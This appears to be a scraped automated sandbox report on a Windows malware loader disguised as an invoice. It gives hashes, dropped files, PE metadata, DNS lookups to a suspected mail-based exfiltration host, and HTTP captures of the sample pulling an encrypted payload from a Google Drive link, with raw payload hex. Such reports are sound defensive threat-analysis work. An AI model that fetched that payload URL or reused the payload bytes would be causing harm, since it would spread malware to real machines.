https://view.joesandbox.com/analysis/390232/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390232/html/none?idtype=webid
https://view.joesandbox.com/analysis/390231/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390231/html/none?idtype=webid
https://view.joesandbox.com/analysis/390221/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390221/html/none?idtype=webid
https://view.joesandbox.com/analysis/390219/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390219/html/none?idtype=webid
https://view.joesandbox.com/analysis/390173/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390173/html/none?idtype=webid
https://view.joesandbox.com/analysis/390168/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390168/html/none?idtype=webid
https://view.joesandbox.com/analysis/390161/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390161/html/none?idtype=webid


1m5L33BcA9.exe Get hash malicious Browse 142.250.18
5.238
142.250.18
5.129

justificante de la transfer.exe Get hash malicious Browse 142.250.18
5.238
142.250.18
5.129

PO.10032021.exe Get hash malicious Browse 142.250.18
5.238
142.250.18
5.129

#U260f_#U0420l#U0430yb#U0430#U03f2k_M#U0
435#U0455#U0455#U0430g#U0435.htm

Get hash malicious Browse 142.250.18
5.238
142.250.18
5.129

20210913_PO530.ppt Get hash malicious Browse 142.250.18
5.238
142.250.18
5.129

cXl3GCSRlN.exe Get hash malicious Browse 142.250.18
5.238
142.250.18
5.129

Match Associated Sample Name / URL SHA 256 Detection Link Context

No context

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D
Process: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File Type: data

Category: dropped

Size (bytes): 1391

Entropy (8bit): 7.705940075877404

Encrypted: false

SSDEEP: 24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1

MD5: 0CD2F9E0DA1773E9ED864DA5E370E74E

SHA1: CABD2A79A1076A31F21D253635CB039D4329A5E8

SHA-256: 96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6

SHA-512: 3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910

Malicious: false

Reputation: moderate, very likely benign file

Preview:
0..k0..S............@.YDc.c...0...*.H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U...
.US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0...*.H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p.
.)"......K...~....G.|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I.....*.A..v........5/(.l....dwn
G7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.|C.t..t.....0.[q6....00\H..;..}`...).........A.......|.;F.H*..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0
@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Process: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File Type: Microsoft Cabinet archive data, 61157 bytes, 1 file

Category: dropped

Size (bytes): 61157

Entropy (8bit): 7.995991509218449

Encrypted: true

SSDEEP: 1536:ppUkcaDREfLNPj1tHqn+ZQgYXAMxCbG0Ra0HMSAKMgAAaE1k:7UXaDR0NPj1Vi++xQFa07sTgAQ1k

MD5: AB5C36D10261C173C5896F3478CDC6B7

SHA1: 87AC53810AD125663519E944BC87DED3979CBEE4

SHA-256: F8E90FB0557FE49D7702CFB506312AC0B24C97802F9C782696DB6D47F434E8E9

SHA-512: E83E4EAE44E7A9CBCD267DBFC25A7F4F68B50591E3BBE267324B1F813C9220D565B284994DED5F7D2D371D50E1EBFA647176EC8DE9716F754C6B5785C6E897F
A

Malicious: false

Reputation: moderate, very likely benign file

Dropped Files

Created / dropped Files
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https://view.joesandbox.com/analysis/390147/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390147/html/none?idtype=webid
https://view.joesandbox.com/analysis/390119/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390119/html/none?idtype=webid
https://view.joesandbox.com/analysis/390118/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390118/html/none?idtype=webid
https://view.joesandbox.com/analysis/390046/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390046/html/none?idtype=webid
https://view.joesandbox.com/analysis/389996/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/389996/html/none?idtype=webid
https://view.joesandbox.com/analysis/389974/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/389974/html/none?idtype=webid


Static File Info

General
File type: PE32 executable (GUI) Intel 80386, for MS Windows

Entropy (8bit): 5.814774568282466

Preview:
MSCF............,...................I........t........*S{I .authroot.stl..p.(.5..CK..8U....u.}M7{v!.\D.u.....F.eWI.!e..B2QIR..$4.%.3eK$J. ......9w4...=.9..}...~....$..h..ye.A..;....|. O6.a0xN....9..C.
.t.z.,..d`.c...(5.....<..1.|..2.1.0.g.4yw..eW.#.x....+.oF....8.t...Y....q.M.....HB.^y^a...)..GaV"|..+.'..f..V.y.b.V.PV......`..9+..\0.g...!.s..a....Q...........~@$.....8..(g..tj....=,V)v.s.d.].xqX4...
..s....K..6.tH.....p~.2..!..<./X......r.. ?(.\[. H...#?.H.".. p.V.}.`L...P0.y....|...A..(...&..3.ag...c..7.T=....ip.Ta..F.....'..BsV...0.....f....Lh.f..6....u.....Mqm.,...@.WZ.={,;.J...)...{_Ao....T..
....xJmH.#..>.f..RQT.Ul(..AV..|.!k0...|\......U2U..........,9..+.\R..(.[.'M........0.o..,.t.#..>y.!....!X<o.....w...'......a.'..og+>..|.s.g.Wr.2K.=...5.YO.E.V.....`.O..[.d.....c..g....A..=....k..u2..Y
.}.......C...\=...&...U.e...?...z.'..$..fj.'|.c....4y.".T.....X....@xpQ.,.q.."...t.... $.F..O.A.o_}d.3...z...F?..-...Fy...W#...1......T.3....x.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D
Process: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File Type: data

Category: dropped

Size (bytes): 192

Entropy (8bit): 2.773803200765873

Encrypted: false

SSDEEP: 3:kkFklhpANl1fllXlE/zMcRhl1NNX8RolJuRdyo1dlUKlGXJlDdt:kKv3C1Rz7NMa8Rdy+UKcXP

MD5: EC88B0694F89B7568697D6DD0DC567FF

SHA1: D27089B9E89855C58B00C06ACE5A841CFA092DA9

SHA-256: FA10D3C7C90B04AE3D8445F65588A5863CE06CED5ADB685430726EF550242529

SHA-512: 2F979AC76A499C5D9F4098E081EFBDBDEE5A4A1A6639CF9D15555D1458496F8F6BEF64A9C4FAC835009C0114D3E53DA1BC90D5A35E857FBDC0B2283833DA7E1
7

Malicious: false

Preview:
p...... ...........Xh...(....................................................... ..........~...................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".5.a.6.2.8.1.5.c.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
Process: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File Type: data

Category: modified

Size (bytes): 326

Entropy (8bit): 3.0999728641166144

Encrypted: false

SSDEEP: 6:kKhedFN+SkQlPlEGYRMY9z+4KlDA3RUeOlEfcTt:O2kPlE99SNxAhUefit

MD5: 79EACEB6A909A9A33E41070F808500E4

SHA1: 607C695D3B05CAF89041612F2233444B10A9FBF0

SHA-256: 44D565EAF52B45F413BA9B206CBD31CA16F64FBB4DA78F0BC780C94FBB4D4523

SHA-512: 70934CD7CE034A4AE519553DDB1C91AA47CF3DBE3367F74B18DEBBE7999995C91B485A773D6DB6AC39A0B3473818FC0DBC5C2198CEC6313455AB3E60A43BA3
71

Malicious: false

Preview:
p...... ........|.Xh...(....................................................... ...........^.......$...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s
.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".0.a.a.8.a.1.5.e.a.6.d.7.1.:.0."...

\Device\ConDrv
Process: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 30

Entropy (8bit): 3.964735178725505

Encrypted: false

SSDEEP: 3:IBVFBWAGRHneyy:ITqAGRHner

MD5: 9F754B47B351EF0FC32527B541420595

SHA1: 006C66220B33E98C725B73495FE97B3291CE14D9

SHA-256: 0219D77348D2F0510025E188D4EA84A8E73F856DEB5E0878D673079D05840591

SHA-512: C6996379BCB774CE27EEEC0F173CBACC70CA02F3A773DD879E3A42DA554535A94A9C13308D14E873C71A338105804AFFF32302558111EE880BA0C41747A08532

Malicious: false

Preview:
NordVPN directory not found!..
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TrID: Win32 Executable (generic) a (10002005/4) 
99.15%
Win32 Executable Microsoft Visual Basic 6 
(82127/2) 0.81%
Generic Win/DOS Executable (2004/3) 0.02%
DOS Executable Generic (2002/1) 0.02%
Autodesk FLIC Image File (extensions: flc, fli, cel) 
(7/3) 0.00%

File name: Factura n#U00ba749962.exe

File size: 102400

MD5: 567d679df1c52ff01662db29cbda21c3

SHA1: 592b3df112874f6f06bbfa0387fdcf451f56b68b

SHA256: 6305547511252a10b0bc9aa45f1d05a17acde57a9caf4cb
ddf1b1cb25d59d302

SHA512: 24801fe0f9ad35a6f7b06518d51ea6d3e178ebe5a16c11e
4109cf6da22898e8abbb641ea44e9f35460a48fba8a78cf
c5975e5e91f8d8a18f3ceff505fa6b49eb

SSDEEP: 1536:tDmae5I4Br/htl+L7labSUfdaPB7VtVmBSZ:t65FrN
OlabSUovwSZ

File Content Preview: MZ......................@...............................................!..L.!Th
is program cannot be run in DOS mode....$........i............
...........*..............Rich....................PE..L...X=.T................
.`... ...............p....@........

General

File Icon

Icon Hash: 01eefc79b2b0b2b0

General
Entrypoint: 0x401500

Entrypoint Section: .text

Digitally signed: false

Imagebase: 0x400000

Subsystem: windows gui

Image File Characteristics: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, 
LINE_NUMS_STRIPPED, RELOCS_STRIPPED

DLL Characteristics:

Time Stamp: 0x54A03D58 [Sun Dec 28 17:26:48 2014 UTC]

TLS Callbacks:

CLR (.Net) Version:

OS Version Major: 4

OS Version Minor: 0

File Version Major: 4

File Version Minor: 0

Subsystem Version Major: 4

Subsystem Version Minor: 0

Import Hash: 64e4aee665feef1b106b6eccf2b2e39f

Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

.text 0x1000 0x15550 0x16000 False 0.486860795455 data 6.2190132945 IMAGE_SCN_MEM_EXECUTE, 
IMAGE_SCN_CNT_CODE, 
IMAGE_SCN_MEM_READ

.data 0x17000 0xcf8 0x1000 False 0.00634765625 data 0.0 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_WRITE, 
IMAGE_SCN_MEM_READ

.rsrc 0x18000 0xa28 0x1000 False 0.15771484375 data 2.54512573488 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_READ

Static PE Info

Entrypoint Preview

Data Directories

Sections

Resources
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Network Port Distribution

Language of compilation system Country where language is spoken Map

Chinese Taiwan

Network Behavior

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Oct 4, 2021 20:06:37.730206013 CEST 192.168.11.20 1.1.1.1 0xc765 Standard query 
(0)

drive.google.com A (IP address) IN (0x0001)

Oct 4, 2021 20:06:38.549977064 CEST 192.168.11.20 1.1.1.1 0x6eb2 Standard query 
(0)

doc-0k-88-
docs.googl
eusercontent.com

A (IP address) IN (0x0001)

Oct 4, 2021 20:08:15.614150047 CEST 192.168.11.20 1.1.1.1 0xcf0a Standard query 
(0)

mail.pizza
scasadelfi.com

A (IP address) IN (0x0001)

Oct 4, 2021 20:08:16.381078959 CEST 192.168.11.20 1.1.1.1 0x6486 Standard query 
(0)

x1.i.lencr.org A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Oct 4, 2021 
20:06:21.835804939 
CEST

1.1.1.1 192.168.11.20 0x6932 No error (0) devcentera
pi.azure-api.net

apimgmttmr17ij3jt5dneg6
4srod9jevcuajxaoube4brt
u9cq.trafficmanager.net

CNAME 
(Canonical 
name)

IN (0x0001)

Oct 4, 2021 
20:06:21.835804939 
CEST

1.1.1.1 192.168.11.20 0x6932 No error (0) devcenterapi-
eastus-
01.regiona
l.azure-api.net

apimgmthszbjimgeglorvth
kncixvpso9vnynvh3ehms
dll33a.cloudapp.net

CNAME 
(Canonical 
name)

IN (0x0001)

Oct 4, 2021 
20:06:37.738291025 
CEST

1.1.1.1 192.168.11.20 0xc765 No error (0) drive.goog
le.com

142.250.185.238 A (IP address) IN (0x0001)

Oct 4, 2021 
20:06:38.583714008 
CEST

1.1.1.1 192.168.11.20 0x6eb2 No error (0) doc-0k-88-
docs.googl
euserconte
nt.com

googlehosted.l.googleuse
rcontent.com

CNAME 
(Canonical 
name)

IN (0x0001)

Oct 4, 2021 
20:06:38.583714008 
CEST

1.1.1.1 192.168.11.20 0x6eb2 No error (0) googlehost
ed.l.googl
euserconte
nt.com

142.250.185.129 A (IP address) IN (0x0001)

Oct 4, 2021 
20:08:15.787684917 
CEST

1.1.1.1 192.168.11.20 0xcf0a No error (0) mail.pizza
scasadelfi.com

91.197.229.125 A (IP address) IN (0x0001)

Oct 4, 2021 
20:08:16.390757084 
CEST

1.1.1.1 192.168.11.20 0x6486 No error (0) x1.i.lencr.org crl.root-
x1.letsencrypt.org.edgeke
y.net

CNAME 
(Canonical 
name)

IN (0x0001)

Oct 4, 2021 
20:12:38.938787937 
CEST

1.1.1.1 192.168.11.20 0x2cfb No error (0) prda.aadg.
msidentity.com

www.tm.a.prd.aadg.traffic
manager.net

CNAME 
(Canonical 
name)

IN (0x0001)

Imports

Version Infos

Possible Origin

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph
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drive.google.com

            
doc-0k-88-docs.googleusercontent.com

         

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.11.20 49761 142.250.185.238 443 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp
kBytes
transferred Direction Data

2021-10-04 18:06:37 UTC 0 OUT GET /uc?export=download&id=1y982JAKaxqfxXv7KZDGUXXRU_MIpMU2h HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: drive.google.com
Cache-Control: no-cache

2021-10-04 18:06:38 UTC 0 IN HTTP/1.1 302 Moved Temporarily
Content-Type: text/html; charset=UTF-8
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Mon, 04 Oct 2021 18:06:38 GMT
Location: https://doc-0k-88-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/2bevclho
9ifjobqqu0cuc75g3ubuieou/1633370775000/00014782062933200622/*/1y982JAKaxqfxXv7KZDGUXXRU_MIpMU2h?
e=download
P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."
Content-Security-Policy: script-src 'nonce-qdcRuqLRayzjVSqOVKjuIg' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-
eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Set-Cookie: NID=511=VGd0O9l6OYwUfg-PqEohQguW3tYB6pFrCfaKoji6IHyrNHWVtSo8bhhsJUjYHf34vXz7oV
IMbuQ8Eowv425puWUTEgrH0cAiSfnPdt8sxTE-kE_t-cBRbiYGIURuE68ZiMzy9HbDTUyEIGrahMrRgc7HbzEElkz-
o8CtHAHF5Cc; expires=Tue, 05-Apr-2022 18:06:38 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=non
e
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Accept-Ranges: none
Vary: Accept-Encoding
Connection: close
Transfer-Encoding: chunked

2021-10-04 18:06:38 UTC 1 IN Data Raw: 31 38 34 0d 0a 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4d 6f 76 65 64 20 54 65 6d 70 
6f 72 61 72 69 6c 79 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 
46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4d 6f 76 65 64 20 54 65 6d 70 6f 
72 61 72 69 6c 79 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 41 20 48 52 
45 46 3d 22 68 74 74 70 73 3a 2f 2f 64 6f 63 2d 30 6b 2d 38 38 2d 64 6f 63 73 2e 67 6f 6f 67 6c 65 75 73 65 72 63 6f 6e 74 
65 6e 74 2e 63 6f 6d 2f 64 6f 63 73 2f 73 65 63 75 72 65 73 63 2f 68 61 30 72 6f 39 33 37 67 63 75 63 37 6c 37 64 65 66 
66 6b 73 75 6c 68 67 35 68 37 6d 62 70 31 2f 32 62 65 76 
Data Ascii: 184<HTML><HEAD><TITLE>Moved Temporarily</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" 
TEXT="#000000"><H1>Moved Temporarily</H1>The document has moved <A HREF="https://doc-0k-88-docs.goog
leusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/2bev

2021-10-04 18:06:38 UTC 1 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.11.20 49762 142.250.185.129 443 C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp
kBytes
transferred Direction Data

2021-10-04 18:06:38 UTC 1 OUT GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/2bevclho9ifjobqqu0cuc75g3ubuieou/1633370775000/0
0014782062933200622/*/1y982JAKaxqfxXv7KZDGUXXRU_MIpMU2h?e=download HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Cache-Control: no-cache
Host: doc-0k-88-docs.googleusercontent.com
Connection: Keep-Alive

HTTPS Proxied Packets
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2021-10-04 18:06:38 UTC 2 IN HTTP/1.1 200 OK
X-GUploader-UploadID: ADPycdt2VHCTxZ6tT6cdZb2aeyC5ZmlWR-fFMKEtk8niJytzNh1KZR4D3CKxBbfN9Y3_
Hga1_LgvY1w_rTrMXQw3DOg
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: false
Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-
Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, 
financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-
customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-
Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-
model, hotrod-chrome-processors, Want-Digest, x-chrome-connected, X-ClientDetails, X-Client-Version, X-Firebase-
Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-
Firebase-Auth-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-
GoogApps-Allowed-Domains, X-Goog-AdX-Buyer-Impersonation, X-Goog-Api-Client, X-Goog-Visibilities, X-Goog-AuthU
ser, x-goog-ext-124712974-jspb, x-goog-ext-251363160-jspb, x-goog-ext-259736195-jspb, X-Goog-PageId, X-Goog-En
code-Response-If-Executable, X-Goog-Correlation-Id, X-Goog-Request-Info, X-Goog-Request-Reason, X-Goog-Experim
ents, x-goog-iam-authority-selector, x-goog-iam-authorization-token, X-Goog-Spatula, X-Goog-Travel-Bgr, X-Goog-Travel-
Settings, X-Goog-Upload-Command, X-Goog-Upload-Content-Disposition, X-Goog-Upload-Content-Length, X-Goog-
Upload-Content-Type, X-Goog-Upload-File-Name, X-Goog-Upload-Header-Content-Encoding, X-Goog-Upload-Header-C
ontent-Length, X-Goog-Upload-Header-Content-Type, X-Goog-Upload-Header-Transfer-Encoding, X-Goog-Upload-Offset, 
X-Goog-Upload-Protocol, x-goog-user-project, X-Goog-Visitor-Id, X-Goog-FieldMask, X-Google-Project-Override, X-Goog-
Api-Key, X-HTTP-Method-Override, X-JavaScript-User-Agent, X-Pan-Versionid, X-Proxied-User-IP, X-Origin, X-Referer, 
X-Requested-With, X-Stadia-Client-Context, X-Upload-Content-Length, X-Upload-Content-Type, X-Use-HTTP-Status-
Code-Override, X-Ios-Bundle-Identifier, X-Android-Package, X-Ariane-Xsrf-Token, X-YouTube-VVT, X-YouTube-Page-CL, 
X-YouTube-Page-Timestamp, X-Compass-Routing-Destination, x-framework-xsrf-token, X-Goog-Meeting-ABR, X-Goog-
Meeting-Botguardid, X-Goog-Meeting-ClientInfo, X-Goog-Meeting-ClientVersion, X-Goog-Meeting-Debugid, X-Goog-
Meeting-Identifier, X-Goog-Meeting-RtcClient, X-Goog-Meeting-StartSource, X-Goog-Meeting-Token, X-Client-Data, x-
sdm-id-token, X-Sfdc-Authorization, MIME-Version, Content-Transfer-Encoding, X-Earth-Engine-App-ID-Token, X-Earth-E
ngine-Computation-Profile, X-Earth-Engine-Computation-Profiling, X-Play-Console-Experiments-Override, X-Play-C
onsole-Session-Id, x-alkali-account-key, x-alkali-application-key, x-alkali-auth-apps-namespace, x-alkali-auth-entities-
namespace, x-alkali-auth-entity, x-alkali-client-locale, EES-S7E-MODE, cast-device-capabilities, X-Server-Timeout
Access-Control-Allow-Methods: GET,OPTIONS
Content-Type: application/octet-stream
Content-Disposition: attachment;filename="ndaanto_JoXmzBxqI154.bin";filename*=UTF-8''ndaanto_JoXmzBxqI154.bin
Date: Mon, 04 Oct 2021 18:06:38 GMT
Expires: Mon, 04 Oct 2021 18:06:38 GMT
Cache-Control: private, max-age=0
X-Goog-Hash: crc32c=VjnGaQ==
Content-Length: 221760
Server: UploadServer
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; m
a=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

2021-10-04 18:06:38 UTC 5 IN Data Raw: 9c 58 b4 17 89 c7 2b a1 66 c0 b2 7e 87 ee 3a f3 18 90 f1 c6 e1 eb 9d 27 52 ac 32 26 c7 f0 16 4a 99 59 65 3d 
da 55 05 99 88 76 04 58 04 3b 4e de 96 c2 9f ad 7a d8 fb 8d d7 81 02 f9 cc 11 ac 0e 74 9d 2f d9 b9 03 98 95 d1 a0 79 4c 
6b d1 c6 76 20 36 76 33 b0 80 7c 36 15 ba 53 f1 18 fb c4 28 f9 7b ed bc ae 16 35 02 bd 79 e1 e8 a6 a2 f2 39 14 73 7f 80 
aa 28 6f e7 a2 a2 70 15 57 4a 15 3c ec a3 7c d5 82 2d 91 e2 22 ba 84 61 79 2d 89 0a 7b 90 93 9f 77 e5 bd 27 5d d8 e6 4e 
bf dc 80 aa 8b ee 86 49 5c c5 53 1a 20 c8 af 74 c0 95 3d fe 8e 58 3a 5d c8 94 1f 24 50 85 77 d9 85 8b 0b ae 7d 0f 9a 20 
e9 f7 17 14 f6 71 95 c6 40 8d 37 0d 9a 56 7b 19 98 ec 20 68 c6 b4 79 7b 1b 2c 37 12 90 12 4d 2c 73 37 f2 76 f4 d1 fa 1b 
59 a3 d4 0a 14 53 d7 bc fa 44 30 91 1f 70 da 5d dc ea 7a 
Data Ascii: X+f~:'R2&JYe=UvX;Nzt/yLkv 6v3|6S({5y9s(opWJ<|-"ay-{w']NI\S t=X:]$Pw} q@7V{ hy{,7M,s7vYSD0p]z

2021-10-04 18:06:38 UTC 9 IN Data Raw: df e0 43 2a b7 26 7e 13 a4 d0 51 8e 04 5e d7 cf 31 57 57 b1 99 12 24 a8 5b 7d d1 a9 8d 03 c1 7a 4a 9a 2a 79 
de 3a 16 84 e4 de 79 52 a5 00 0d 9a 5c 53 37 7a ec 24 63 e5 8d 72 7b 11 aa 34 14 ba 1a 4d 2c 72 1f f2 76 a8 a7 80 1b 4f 
0c d4 00 14 53 d7 bc f8 44 29 91 5d cb da 57 dc e8 7a b6 d5 53 76 8e b6 b9 73 55 d6 18 9d 0f 13 4d 4b 1b 26 a7 68 1d cc 
16 47 91 84 03 a0 11 49 46 82 82 28 19 ed 23 04 f4 92 cd 4c 4d c1 d2 c5 47 0e 47 3c cd d5 8e 18 f7 6b 6d 2d 44 7b 78 bc 
e5 6c 3b 99 f1 05 e4 df f9 ab 81 45 2f f5 1e cb 18 19 cc 9a 75 32 ab 93 ce f0 4d a2 f4 c0 57 b9 7b e3 a4 27 e5 e1 81 85 7e 
39 90 ea ab 94 98 47 32 2d 42 d0 43 a8 a1 69 fc f7 5e 1c 77 4c c9 80 5b 46 45 45 78 b2 af fc ae 98 45 99 9d 36 39 47 a7 
9e 91 9d ff 3a 2e 62 67 3f 80 df 50 74 c3 5b 40 a0 03 
Data Ascii: C*&~Q^1WW$[}zJ*y:yR\S7z$cr{4M,rvOSD)]WzSvsUMK&hGIF(#LMGG<km-D{xl;E/u2MW{'~9G2-BCi^wL[FEE
xE69G:.bg?Pt[@

2021-10-04 18:06:38 UTC 13 IN Data Raw: 01 8f 91 e8 af 94 48 ce c6 5d 88 11 07 b8 84 5d 7e ad 31 d7 93 0e a6 f4 db 55 89 c8 e0 88 2a 95 a2 0c 90 74 3f 
fe b5 b2 87 96 4c 24 5d 67 dc bd a8 e2 37 f5 e8 5d 1c 48 4c c9 80 ef 71 66 56 7c b8 a8 b8 3a 8e bb 98 b6 52 13 5a a7 94 
99 b6 8f 7d 39 71 69 88 86 0d cb a1 c2 77 42 ba 13 5b 91 7e e5 46 c1 55 28 8e 78 1c cd de 35 41 32 f1 8a 4d 77 ce 81 08 
fc 88 2c f2 83 de 05 29 ec c2 39 0b bd 94 73 47 12 6e 0d c8 dc 4c 59 b0 39 c6 0b d2 d5 ce 5a 9f 95 58 a4 85 08 6f 31 bf e6
e9 62 4b cb ab 77 46 9c 97 87 97 d3 7d ac 98 4c a6 65 df fa 5f e0 15 3b 34 62 0d d5 a5 b1 ca c5 71 99 70 6f a9 73 0e be 
f3 16 39 40 14 8a d0 82 ee d4 f3 34 60 87 bc 4b 25 3b 58 be a7 2a 9c ee a3 14 c4 ca 50 14 9f 55 63 84 fe 77 d5 35 c1 8d 
19 0e 3d b6 0d ea 9d 35 ef ff 98 d4 8f 7e a9 d8 25 
Data Ascii: H]]~1U*t?L$]g7]HLqfV|:RZ}9qiwB[~FU(x5A2Mw,)9sGnLY9ZXo1bKwF}Le_;4bqpos9@4`K%;X*PUcw5=5~%

2021-10-04 18:06:38 UTC 16 IN Data Raw: e4 84 89 47 ba 86 8a bd c0 9e 84 e7 90 a6 72 d5 fa 09 e0 15 37 73 d2 0f d5 a9 47 5e e0 59 a4 6f 65 2f 3f 29 96 
ca 3e a2 4a ca 80 de 80 4a 62 f3 34 67 c0 e1 4b 25 3b ae c6 80 02 ad c6 38 1e d7 e8 50 54 9d 55 6f 72 65 66 dd 17 f9 a9 
19 08 58 58 96 ea 97 e1 cb 92 ad d4 89 5c 1a e0 25 59 f9 a5 52 5c 4b d0 ae b4 97 d6 39 2f d9 1e 53 dd 5f 9d e4 86 80 dc 
b1 29 4c 10 90 f1 42 c8 e0 9c 6c 75 b4 78 56 6f 30 b5 a1 f4 f6 b8 82 4f 5b 0b 27 16 e9 af 60 91 a9 74 97 0b 82 33 95 db a9
39 7a e4 ab 34 36 ff 6c 27 a4 ea b4 41 aa 46 f3 ed bb 00 bc e9 18 d3 43 87 a6 21 5f f5 30 ac 94 4d 0a df 8b e4 3b b7 02 
